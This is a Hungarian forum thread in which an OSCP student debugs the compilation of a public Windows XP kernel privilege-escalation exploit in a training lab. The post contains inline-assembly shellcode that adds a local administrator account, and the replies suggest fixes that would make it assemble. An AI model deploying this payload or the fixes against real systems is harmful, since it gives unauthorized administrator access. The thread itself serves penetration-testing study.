Sziasztok!
Disznóságnak tűnhet, amit kérdezni akarok, ezért elmondom, mihez kell. Az oscp nevű tanfolyamot csinálom éppen, ami betöréstesztelők számára indul. Ehhez tartozik egy vpn-en elérhető belső labor, ahol by design sebezhető szerverek tömkelegén lehet gyakorolni a tanultakat.
Ezen szerverek közül az egyiknél sikerült már shell-t szereznem, de csak egy nagyon korlátozott jogú felhasználóval. A szerveren Windows XP fut. Az adminisztrátori jogok megszerzéséhez tehát jogosultságszint-emelést kéne végrehajtanom. Több local exploittal is kísérleteztem már, de ezek rendre nem működtek.
Most találtam egyet, aminél a PoC úgy tűnik, sikeres. Az exploit itt található: http://www.exploit-db.com/exploits/3755/
Ebben a kódban van egy hook nevű függvény, ami úgy kerül meghívásra, hogy a sebezhetőség sikeres kihasználása után a benne lévő kód kernel módban fut le. Több shellcode-ot is megpróbáltam ide beilleszteni, de ezek rendre elbuktak. Úgy gondoltam, mielőtt teljesen elvetném ennek az exploitnak az alkalmazását és más utat keresnék a privilégiumszint emeléséhez, megpróbálok tisztán assembly-t beilleszteni, és nem már lefordított kódokkal bűvészkedni.
Az assemblyhez nem értek, ezért google. Találtam is egyet, ami pont azt csinálja, ami nekem kell, itt található az oldal közepe felé: http://projectshellcode.com/?q=node/20 (adduser.asm)
Ezt kicsit alakítva és beillesztve az exploitba most így néz ki a hook függvényem (az exploit többi részéhez nem nyúltam):
hook (HANDLE pal, COLORREF couleur)
{
// INT3
// Executed code with kernel privilege
// http://projectshellcode.com/?q=node/20
asm (".intel_syntax noprefix");
__asm__ ("cli");
__asm__ ("jmp short GetCommand ;\
CommandReturn: ;\
pop ebx ; \
xor eax,eax ;\
push eax ;\
push ebx ;\
mov ebx,0x7c8615b5 ;\
call ebx ;\
xor eax,eax ;\
push eax ;\
mov ebx, 0x7c81ca82 ;\
call ebx ;\
GetCommand: ;\
call CommandReturn ;\
db ""cmd.exe /c net user PSUser PSPasswd /ADD && net localgroup Administrators /ADD PSUser"" ;\
db 0x00");
__asm__ ("sti");
asm (".att_syntax noprefix");
flag_test = 1;
return (TRUE);
}
A fordítás linux alatt történik az alábbi parancssorral és hibaüzenettel:
$ pwd
/root/.wine/drive_c/MinGW/bin
$ wine gcc -o privesc.exe /root/gdilocalpriv.c -lwsock32 -lgdi32
C:\users\root\Temp/ccJbcaaa.s: Assembler messages:
C:\users\root\Temp/ccJbcaaa.s:11: Error: no such instruction: `db cmd.exe/c net user PSUser PSPasswd/ADD&&net localgroup Administrators/ADD PSUser'
C:\users\root\Temp/ccJbcaaa.s:11: Error: no such instruction: `db 0x00'
Két napig próbáltam trükközni és google-zni, de rendre ezt kapom, a db-t nem akarja ismerni. A kérdés tehát, hogy mit lehet ezzel kezdeni? Mint írtam, az assemblyhez nem értek, így lehet, hogy nagyon butaságot kérdeztem.
Most, hogy ezt így leírtam, eszembe jutott, hogy akár C-ből is létrehozhattam volna a felhasználót assembly nélkül, ezt ki is fogom próbálni, ha oda jutok, viszont a fentiekre a megoldás akkor is érdekelne.
Ha pedig van itt véletlenül valaki, aki mostanában csinálja az oscp-t és van kedve közösen tanulni, írjon egy pm-t. (Azt meg se merem kérdezni, hogy van-e olyan önként vállalkozó, akit időnként zaklathatnék ilyesmi kérdésekkel; nem vagyok se lassú felfogású, se pióca, csak vacak dolog napokat szenvedni részletkérdéseken, mint amilyen valószínűleg a fenti is, ahelyett hogy a laboridőt hasznosabb dolgokra fordítanám.)
Köszönöm a válaszokat!
- 2026 megtekintés
Hozzászólások
ez így nem fog menni szerintem
> Sol omnibus lucet.
- A hozzászóláshoz be kell jelentkezni
Igen, gondolom, már csak a beégetett memóriacímek miatt is, de egyelőre még fordítani sem sikerül.
-----
A problémáim velem kezdődtek és utánam megmaradnak. Ez az én hozzájárulásom az Emberiség Nagy Művéhez.
- A hozzászóláshoz be kell jelentkezni
lehet, hogy az assemblynek nem db-vel kell definiálni az
adatmezőt.
> Sol omnibus lucet.
- A hozzászóláshoz be kell jelentkezni
:fejvakar:
Ketto gond van ezzel. Az egyik, hogy ha itt ertelmes valasz szuletik, azt - a forum nyilt jellege miatt - rossz szandeku emberek is felhasznalhatjak sajat exploitok irasara. Emiatt en mindenkeppen aggalyosnak latom a kerdesre a valaszt.
A masik, hogy szerintem a mingw korlatozottabb fordito, mint a sima Gcc. Erdemesebb lenne VS forditoval probalkozni, Windowson (ha mar windowst torsz). Celszeruen a Visual C++ Express verziojaval lehetne probalkozni.
--
Ki oda vagyik, hol szall a galamb, elszalasztja a kincset itt alant. | Gentoo Portal
- A hozzászóláshoz be kell jelentkezni
Az első felvetéseden gondolkoztam én is, de végülis a linkelt exploit-db.com-on is tonnányi, kulcsra kész exploit van, szintén teljesen nyilvánosan, másrészt ez egy viszonylag régi darab (MS07-017, ami persze nem jelenti, hogy adott esetben ne lenne felhasználható).
VS-sel próbálkoztam, úgy emlékszem, az assembly ott átment, ott a C kóddal volt valami olyan, amibe szintén jobban ásni kellett volna, annak nem néztem utána, de ha az következik, akkor persze megteszem.
-----
A problémáim velem kezdődtek és utánam megmaradnak. Ez az én hozzájárulásom az Emberiség Nagy Művéhez.
- A hozzászóláshoz be kell jelentkezni
Csak nem birtam ki. :)
1. gcc-nel at&t es nem intel szintakszis van asm kod eseteben alapban. A ket kulon asm blokkba pakolt prefix fene tudja mit muvel, en nem kiserleteznek ezer kulon blokkal.
2. a fenti kododnal nem a fix cimekkel van baj, hanem a db-re hisztizik mind a ket esetben.
3. az asm betet osszes contrait-je hibas, hianyzik, etc. gcc doksit erdemes atolvasni ez ugyben.
4. semmi baj sincs gcc-vel windows-on, mingw-vel sem. Sot, helyenkent ehetobb kodot fordit, mint az ms vc.
---
pontscho / fresh!mindworkz
- A hozzászóláshoz be kell jelentkezni
Köszönöm, hogy nem bírtad ki :).
Mint írtam, nem vagyunk barátok az assemblyvel, vakon raktam be a kódot, amit a neten találtam, de most írtál pár kulcsszót, amin el tudok indulni.
(Például rögtön találtam is egy ilyet: http://www.ibiblio.org/gferg/ldp/GCC-Inline-Assembly-HOWTO.html )
-----
A problémáim velem kezdődtek és utánam megmaradnak. Ez az én hozzájárulásom az Emberiség Nagy Művéhez.
- A hozzászóláshoz be kell jelentkezni
nem "" hanem \" kell ott a végén a cmd hívásnál
- A hozzászóláshoz be kell jelentkezni
+1
- A hozzászóláshoz be kell jelentkezni
Definiáld a stringet C-ből, asm-ből csak hivatkozz rá (lehet, hogy kelleni fog egy _ a változó neve elé). Egyébként meg ez a kód elcrashelteti mindenképp a gépet, merthogy:
1. átugorja a szubrutint, az azt hívó kódra
2. a szubrutinból nincs visszatérés, hanem ráfut az önmagát hívó kódra, ergo végtelen ciklus, míg a stack be nem telik (persze lehet, hogy pont ez a cél).
- A hozzászóláshoz be kell jelentkezni
Off:
Nem gondoltam volna, hogy ilyesmit lehet/érdemes assembly nélkül oktatni...
"...handing C++ to the average programmer seems roughly comparable to handing a loaded .45 to a chimpanzee." -- Ted Ts'o
- A hozzászóláshoz be kell jelentkezni
Próbáld így:
db 'cmd.exe ...'; \
db 0x00");
Nem lesz stack overflow, mert pop ebx-szel kiveszi és eldobja a string offszet címeként felhasználja a visszatérési címet, amúgy is kilép ExitProcess-szel (0x7c81ca82);
- A hozzászóláshoz be kell jelentkezni
Az assemblyhez nem értek, ezért google.
Két napig próbáltam trükközni és google-zni, de rendre ezt kapom, a db-t nem akarja ismerni. A kérdés tehát, hogy mit lehet ezzel kezdeni? Mint írtam, az assemblyhez nem értek, így lehet, hogy nagyon butaságot kérdeztem.
Ez így nem fog menni. Vagy találsz olyat, aki pont a te problémádra a te környezetre írt "megoldást", vagy megtanulsz assemblyben programozni.
A problémádat kb. ahhoz hasonlónak érezném, mint amikor az autószereléshez nem értő jelölt sikeresen kikombinálta, hogy dugattyút kéne cserélnie az autójában, majd guglin keres képpel illusztrált step-by-step leírást "for dummies", amiben pont az ő autójának dugattyúcseréje van leírva, merthogy ezt akkor ő odahaza, saját kezűleg.
- A hozzászóláshoz be kell jelentkezni